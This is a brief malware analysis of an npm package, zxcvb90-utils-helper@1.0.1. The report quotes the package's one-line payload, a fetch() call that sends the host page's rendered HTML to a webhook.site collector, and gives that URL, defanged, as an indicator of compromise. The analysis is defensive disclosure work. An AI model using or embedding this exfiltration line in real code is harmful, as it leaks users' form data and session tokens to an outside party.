zxcvb90-utils-helper@1.0.1

Analysis

zxcvb90-utils-helper@1.0.1 is a browser-side data-exfiltration package. Its entire payload is package/index.js, which runs on load and sends the host page's rendered DOM to an attacker-controlled collector: fetch('hxxps://webhook[.]site/ce5b0917-ae74-44c3-8a62-8a4e5003d44d?h=' + encodeURIComponent(document.documentElement.outerHTML.slice(0,4000))). Any page that loads this package leaks up to 4000 characters of its HTML — including form fields, tokens or session data rendered into the DOM — to that endpoint. The package ships no other functionality: package.json has an empty description, no repository, no lifecycle scripts, and declares itself as its own dependency with the bogus range "^0.0.0-stage". IOC: hxxps://webhook[.]site/ce5b0917-ae74-44c3-8a62-8a4e5003d44d